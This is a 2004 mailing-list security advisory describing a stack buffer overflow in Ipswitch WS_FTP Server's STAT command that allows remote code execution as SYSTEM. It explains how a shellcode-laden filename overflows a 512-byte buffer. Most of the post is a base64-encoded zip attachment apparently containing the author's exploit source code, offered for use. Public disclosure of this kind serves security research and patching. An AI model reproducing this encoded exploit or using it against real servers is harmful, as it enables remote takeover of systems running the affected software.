[34218] in bugtraq
Think of the buffers! Won't somebody think of the buffers?!
daemon@ATHENA.MIT.EDU (Hugh Mann)
Tue Mar 23 14:49:12 2004
From: "Hugh Mann" <hughmann@hotmail.com>
To: full-disclosure@lists.netsys.com, bugtraq@securityfocus.com
Cc: info@ipswitch.com, secure@ipswitch.com
Date: Tue, 23 Mar 2004 07:09:34 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_56e5_5f47_b9b"
Message-ID: <BAY1-F87hiwV6ASUc9L00000dd1@hotmail.com>
------=_NextPart_000_56e5_5f47_b9b
Content-Type: text/plain; format=flowed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Advisory Name: Think of the buffers! Won't somebody think of the buffers?!
Impact : Arbitrary code execution as SYSTEM
Discovered by: Hugh Mann hughmann@hotmail.com
Tested progs : Ipswitch WS_FTP Server 4.0.2.EVAL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Description
~~~~~~~~~~~
A remote user who has write access to a directory can execute arbitrary code
due to a buffer overflow in WS_FTP Server's STAT command when downloading a
file the user created. This is difficult to exploit since the username would
have to be pretty long. If the user has more privilege and can change its
username it's easily exploited.
Details
~~~~~~~
There are four types of user privileges. In order of user with highest
privilege:
1. FTP System Administrator users (can change everything)
2. FTP Host Administrator users (can change everyhing on his/her FTP host)
3. Users
4. Anonymous users
Only (1) and (2) can change a user's name. (3) would most likely have to ask
(1) or (2) to change the username to a much longer name to exploit this, but
if the FTP host name is really long it may not be necessary. So to be 100%
sure we can exploit this, the user must be (2) because (2) can add users and
change their names. A remote (1) can already execute arbitrary files.
A FTP host administrator must log in with the XAUT FTP command or he/she
won't be able to use any useful SITE commands. Apparently Ipswitch thinks
the "encrypted" XAUT string is much safer than plaintext USER/PASS.
The stack-based buffer overflow occurs whenever the user uploads/downloads a
file and at the same time sends a STAT command (no options). The WS_FTP
Server sends a 211 reply with the status of the download. This string
contains the FTP host name, IP address, username, filename, and number of
bytes sent/left. This is a long string (more than 200 unformatted bytes)
which, with any filename and possibly a long FTP hostname / username, can
overflow a 512-byte buffer on the stack. "filename" is exactly the same
filename string the user asked the FTP server to send. The filename contains
the shellcode and can be max 256 characters long.
Exploit
~~~~~~~
See the attached source code.
_________________________________________________________________
Find a broadband plan that fits. Great local deals on high-speed Internet
access. http://click.atdmt.com/AVE/go/onm00200360ave/direct/01/
------=_NextPart_000_56e5_5f47_b9b
Content-Type: application/x-zip-compressed; name="xp_ws_ftp_server.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="xp_ws_ftp_server.zip"
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
Sjooh031DUIY31Gd5+4vFWsrDra2Eoh67JjtNDqcr46jQ7AVqD8pPqT0dNHc
mEPfWD2tjHM/PE3GiPReGW/p2cP8LnZDfS8m81vcGybrLxzt+PVrePhLMlH6
S3N6ELH0y744ZxG5P50NTgbng+g+Nf4jKukMNDWbVdx6aCUttXvuqNe1nIBP
0Bg1y3rkUWG6GJp10RrXMh9kyfo/YhAPkP1UoD0mp7Cw72PsJtfwuxFYLhnX
/OiOaX49nXA96bMVdamiUDABODiZaFrVUC6YLJALBudfGJxqIOBPjw4N0K2B
OEPgsrLg3gVjT7W5qdZIpQbfeaFyYsEL5rBMvT4fB66VAbqrZ+lyc0rSnVSl
MHe+ddYOePgFZ5TEoKtBBncCHDmMYMUJ2pybPynRQowDY5xl0DU9Y61+WTQP
W1xbnNHGTFy4IPlNdNvpqAN5K0r7m+vrx2jRWnfEFuHFhwPHVICJq/NoOpum
HDoMpayHrWeoxH9QSwECFAAUAAIACAAAACEANWi2NOUgAAC3cgAAFAAAAAAA
AAABACAAgIEAAAAAeHBfd3NfZnRwX3NlcnZlci5jcHBQSwUGAAAAAAEAAQBC
AAAAFyEAAAAA
------=_NextPart_000_56e5_5f47_b9b--